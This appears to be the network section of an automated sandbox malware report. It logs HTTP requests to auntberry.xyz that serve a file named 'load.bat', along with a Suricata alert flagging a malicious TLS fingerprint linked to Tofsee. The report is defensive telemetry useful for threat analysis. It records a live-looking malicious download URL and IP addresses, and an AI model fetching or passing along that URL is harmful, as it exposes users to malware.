Network Analysis
| Name | Response | Post-Analysis Lookup |
|---|---|---|
| auntberry.xyz | 104.21.67.155 |
HEAD
200
https://auntberry.xyz/pe/start/index.php?a=2910&p=4134&t=50784292
REQUEST
RESPONSE
BODY
HEAD /pe/start/index.php?a=2910&p=4134&t=50784292 HTTP/1.1
Accept: */*
User-Agent: InnoDownloadPlugin/1.5
Host: auntberry.xyz
Content-Length: 0
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 14 Oct 2024 02:19:40 GMT
Content-Type: application/octet-stream
Content-Length: 0
Connection: keep-alive
X-Powered-By: PHP/7.2.7
Content-Description: File Transfer
Content-Disposition: attachment; filename="load.bat"
cf-cache-status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=bn2Y2eAXmwIPF5pLBkraZq%2FHOBB3RLFtgXe883pZPgUrzpM1nkn%2BQsQ7uiPyWjEdZPAb6maWj81bdibxfmaHhSBSiUal38H%2F1TeJK78VwGSyDNTWJ%2F5KPiWFRIGiIDJA"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8d2415f8cbfb2f76-LAX
alt-svc: h3=":443"; ma=86400
GET
200
https://auntberry.xyz/pe/start/index.php?a=2910&p=4134&t=50784292
REQUEST
RESPONSE
BODY
GET /pe/start/index.php?a=2910&p=4134&t=50784292 HTTP/1.1
Accept: */*
User-Agent: InnoDownloadPlugin/1.5
Host: auntberry.xyz
Connection: Keep-Alive
Cache-Control: no-cache
HTTP/1.1 200 OK
Date: Mon, 14 Oct 2024 02:19:40 GMT
Content-Type: application/octet-stream
Content-Length: 15949
Connection: keep-alive
X-Powered-By: PHP/7.2.7
Content-Description: File Transfer
Content-Disposition: attachment; filename="load.bat"
cf-cache-status: DYNAMIC
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cHPQnvkVUAiPRiqRGY%2BuEUH7aMAxYFJRjuv0morEdO1m97Iqjr7AUHZH7gC7xeLOWiqGKsI8CwS0YRmdl8tHyQcIRN6nCVNnob8gv0OSrdOu52Tqw3zwR3fMyc4dwIyu"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 8d2415fb0f252f76-LAX
alt-svc: h3=":443"; ma=86400
ICMP traffic
No ICMP traffic performed.
IRC traffic
No IRC requests performed.
Suricata Alerts
| Flow | SID | Signature | Category |
|---|---|---|---|
| TCP 192.168.56.101:49164 -> 172.67.177.240:443 | 906200054 | SSLBL: Malicious JA3 SSL-Client Fingerprint detected (Tofsee) | undefined |
Suricata TLS
| Flow | Issuer | Subject | Fingerprint |
|---|---|---|---|
|
TLSv1 192.168.56.101:49164 172.67.177.240:443 |
C=US, O=Google Trust Services, CN=WE1 | CN=auntberry.xyz | 57:d6:90:3c:ab:9e:4e:4b:bc:5f:e9:08:a7:22:28:d6:59:f3:aa:f8 |
Snort Alerts
No Snort Alerts